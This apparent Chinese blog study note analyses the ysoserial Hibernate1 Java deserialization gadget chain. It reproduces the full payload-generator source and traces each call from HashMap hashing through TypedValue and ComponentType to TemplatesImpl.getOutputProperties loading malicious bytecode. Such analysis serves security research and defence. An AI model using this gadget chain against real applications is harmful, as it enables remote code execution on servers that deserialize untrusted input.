Hibernate1反序列化|ysoserial学习(二)

Hibernate1反序列化|ysoserial学习(二)

Hibernate1-Gadget

/**
 *
 * org.hibernate.property.access.spi.GetterMethodImpl.get()
 * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
 * org.hibernate.type.ComponentType.getPropertyValue(C)
 * org.hibernate.type.ComponentType.getHashCode()
 * org.hibernate.engine.spi.TypedValue$1.initialize()
 * org.hibernate.engine.spi.TypedValue$1.initialize()
 * org.hibernate.internal.util.ValueHolder.getValue()
 * org.hibernate.engine.spi.TypedValue.hashCode()
 *
 *
 * Requires:
 * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
 *
 * @author mbechler
 */

ysoserial源码

@Authors({ Authors.MBECHLER })
@PayloadTest(precondition = "isApplicableJavaVersion")
public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
    public static boolean isApplicableJavaVersion() {
        return JavaVersion.isAtLeast(7);
    }

    public static String[] getDependencies () {
        if ( System.getProperty("hibernate5") != null ) {
            return new String[] {
                "org.hibernate:hibernate-core:5.0.7.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final",
                "javax.transaction:javax.transaction-api:1.2"
            };
        }

        return new String[] {
            "org.hibernate:hibernate-core:4.3.11.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final",
            "javax.transaction:javax.transaction-api:1.2", "dom4j:dom4j:1.6.1"
        };

    }

    public static Object makeGetter ( Class<?> tplClass, String method ) throws NoSuchMethodException, SecurityException, InstantiationException,
            IllegalAccessException, IllegalArgumentException, InvocationTargetException, ClassNotFoundException {
        if ( System.getProperty("hibernate5") != null ) {
            return makeHibernate5Getter(tplClass, method);
        }
        return makeHibernate4Getter(tplClass, method);
    }

    public static Object makeHibernate4Getter ( Class<?> tplClass, String method ) throws ClassNotFoundException, NoSuchMethodException,
            SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
        Class<?> getterIf = Class.forName("org.hibernate.property.Getter");
        Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
        Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
        Reflections.setAccessible(bgCon);

        if ( !method.startsWith("get") ) {
            throw new IllegalArgumentException("Hibernate4 can only call getters");
        }

        String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4);

        Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName);
        Object arr = Array.newInstance(getterIf, 1);
        Array.set(arr, 0, g);
        return arr;
    }

    public static Object makeHibernate5Getter ( Class<?> tplClass, String method ) throws NoSuchMethodException, SecurityException,
            ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
        Class<?> getterIf = Class.forName("org.hibernate.property.access.spi.Getter");
        Class<?> basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
        Constructor<?> bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class);
        Object g = bgCon.newInstance(tplClass, "test", tplClass.getDeclaredMethod(method));
        Object arr = Array.newInstance(getterIf, 1);
        Array.set(arr, 0, g);
        return arr;
    }

    public Object getObject ( String command ) throws Exception {
        Object tpl = Gadgets.createTemplatesImpl(command);
        Object getters = makeGetter(tpl.getClass(), "getOutputProperties");
        return makeCaller(tpl, getters);
    }

    static Object makeCaller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
            InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
        if ( System.getProperty("hibernate3") != null ) {
            return makeHibernate3Caller(tpl, getters);
        }
        return makeHibernate45Caller(tpl, getters);
    }

    static Object makeHibernate45Caller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
            InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
        PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
        Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);

        ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
        Reflections.setFieldValue(t, "componentTuplizer", tup);
        Reflections.setFieldValue(t, "propertySpan", 1);
        Reflections.setFieldValue(t, "propertyTypes", new Type[] {
            t
        });

        TypedValue v1 = new TypedValue(t, null);
        Reflections.setFieldValue(v1, "value", tpl);
        Reflections.setFieldValue(v1, "type", t);

//因为其实这里的value值无关紧要,为缩减执行结果的大小所以这里我就直接将value的设置给注释了,将其改为一个字符串类型
//        TypedValue v2 = new TypedValue(t, null);
//        Reflections.setFieldValue(v2, "value", tpl);
//        Reflections.setFieldValue(v2, "type", t);
//        v1.hashCode();
        return Gadgets.makeMap(v1, "v2");
    }

    static Object makeHibernate3Caller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
            InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
        // Load at runtime to avoid dependency conflicts
        Class entityEntityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping");
        Class entityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.EntityModeToTuplizerMapping");
        Class typedValueClass = Class.forName("org.hibernate.engine.TypedValue");

        PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
        Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
        Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1);

        ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
        HashMap hm = new HashMap();
        hm.put(EntityMode.POJO, tup);
        Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[]{ Map.class }, new Object[]{ hm });
        Reflections.setFieldValue(t, "tuplizerMapping", emtm);
        Reflections.setFieldValue(t, "propertySpan", 1);
        Reflections.setFieldValue(t, "propertyTypes", new Type[] {
            t
        });

        Constructor<?> typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class);
        Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
        Reflections.setFieldValue(v1, "value", tpl);
        Reflections.setFieldValue(v1, "type", t);

        Object v2 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
        Reflections.setFieldValue(v2, "value", tpl);
        Reflections.setFieldValue(v2, "type", t);

        return Gadgets.makeMap(v1, v2);
    }

    public static void main ( final String[] args ) throws Exception {
        PayloadRunner.run(Hibernate1.class, args);
    }
}

进入yso源码中还是开局一个run函数

image-20220909145305862

因为构造过程比较长,所以这里就不分析其构造过程了,直接开始反序列化跟踪分析, 其中会提到那些内容是条狗反射直接构造添加的

进入run方法查看调用Hibernate1getObject方法返回的构造好之后的对象:

image-20220909172737406

可以看到是一个HashMap对象,还是和ROME一样是为了通过HashMap调用hash函数进而触发key的hashCode函数

org.hibernate.engine.spi.TypedValue.hashCode(注意:这里涉及的TypedValue和valueHolder对理解后续调用流程很重要)

个人感觉这里的说明很重要(我一开始就在这里钻牛脚尖卡了很久想不明白........)

需要注意一点的是,在yso源码中HashMap的key是一个org.hibernate.engine.spi.TypedValue,这个类有点特别, 如果我们直接输出和获取它的值的话,可以看到其实它展示出来的是里面的this->value变量, 给人感觉就是单纯的给里面的value对象加了几个函数和对象的代理的感觉。

TypedValue里面定义了我们需要的函数hashCode同时还实现了readObject方法, 里面在反序列化之后还会调用initTransients方法对hashcode进行赋值,将其赋值为一个匿名函数, 这里的initialize函数嵌套在valueHolder实例中,使用的valueHolder类在后面跟下去的时候发现其作用和TypedValue其实差不多,都是对一些熟悉和方法进行了代理拓展

image-20220909233509158

image-20220909233839377

image-20220909232538064

进入可以看到调用了keyhashCode方法, 这里就需要用到我们上面的知识了: key是一个里面的value成员为TemplatesImplTypedValue对象,对外展现的属性值就是一个TemplatesImpl, 但是它在里面定义了this.hashCode是一个匿名方法,所以当我们通过key.hashCode()调用函数的时候实际上调用的就是TypedValue.HashCode这个匿名函数

image-20220909232620580

下面看一下org.hibernate.engine.spi.TypedValue#hashCode

image-20220909235018504

这里因为上面所说的key.hashCode匿名函数是嵌套在org.hibernate.internal.util.ValueHolder里面的(感觉这个ValueHolder的作用和TypedValue差不多,就是在一些函数方法进行了一个代理拓展)

image-20220909235211394

org.hibernate.internal.util.ValueHolder.getValue

下面跟进org.hibernate.internal.util.ValueHolder#getValue看一下源码:

image-20220909235506612

org.hibernate.engine.spi.TypedValue$1.initialize

在上图可以看到会先检测this.value是否为空,这个value变量是在构造函数定义中定义的, 额,,,,但是其实这个ValueHolder对象在构造的时候走的并不是这个构造函数, 要不然calue里面的值就是定义的initialize函数而不是null了,这里走的其实是在它上面的构造函数org.hibernate.internal.util.ValueHolder#ValueHolder(org.hibernate.internal.util.ValueHolder.DeferredInitializer<T>)

image-20220910000000960

可以看到value默认就是null,而构造函数只对this.valueInitializer进行了赋值,所以this.value自然就为null了,下一步执行this.valueInitializer.initialize()

这个this.valueInitializer.initialize是什么呢?

就是被赋值在valueHolder里面的initialize函数,

这里的TypedValue.this.value,就是在TypedValue构造函数中被赋值,见下图

image-20220910003722093

image-20220910001519557

org.hibernate.type.ComponentType.getHashCode

下面跟进org.hibernate.type.ComponentType#getHashCode(java.lang.Object)

在函数中只有一个for循环,i的值保持小于this.propertySpan, 看一下此时this.propertySpan的大小可见为1:

image-20220910005455615

image-20220910005654374

getHashCode方法第一个参数就是带有恶意字节码的TemplatesImpl对象,所以进入this.getPropertyValue的两个参数就可显而知了

org.hibernate.type.ComponentType.getPropertyValue

下面跟进去getPropertyValue函数

image-20220910010241164

可以看到先使用component instanceof Object[]判断传入的component参数是否属于Object[]的实例, 返回了false

org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue

由于上面的false判断进入this.componentTuplizer.getPropertyValue方法,跟进查看

image-20220910010911725

到这里调用了当前实例的this.getters[i]并且调用其get方法,传入component(恶意TemplatesImpl对象)

org.hibernate.property.access.spi.GetterMethodImpl.get

到这里其实就已经几乎走到终点了, 这个AbstractComponentTuplizer就是经过我们精心构造,设置其getters成员变量之后的对象, 而这里的getters我们可以跟进去看一下里面是什么东西:

先看一下getters的类型:

image-20220910011416309

Getter是一个接口类型,进去可以看到里面定义了需要实现的get方法:

image-20220910011509782

看了一下当前yso项目下getters有以下实现类:

BackrefGetter in BackrefPropertyAccessor
BasicGetter in BasicPropertyAccessor
DirectGetter in DirectPropertyAccessor
EmbeddedGetter in EmbeddedPropertyAccessor
IndexGetter in IndexPropertyAccessor
MapGetter in MapAccessor
NoopGetter in NoopAccessor

image-20220910011626437

可见全部实现类都是hibernate拓展下的,且当前hibernate版本为4.3.11

当前项目中使用的getter实现类是图中的第二个类型org.hibernate.property.BasicPropertyAccessor.BasicGetter,跟进其中的get函数,查看源码可以看到就是直接通过invoke调用当前方法的this.method,调用对象就是传入的参数target,参数为空

image-20220910011901016

从上面已经了解了getter了,那么继续执行在org.hibernate.property.BasicPropertyAccessor.BasicGetter#get打下断点查看

image-20220910012408041

可见传入的参数就是经过构造的TemplatesImpl,而通过invoke调用的this.method则是我们指定需要触发的危险无参方法public synchronized java.util.Properties com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties

image-20220910012905833

后面就是TemplatesImpl加载getOutputProperties进而触发字节码的动态加载的过程了, 因此不再跟进, Hibernate1的链子跟踪到此结束

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇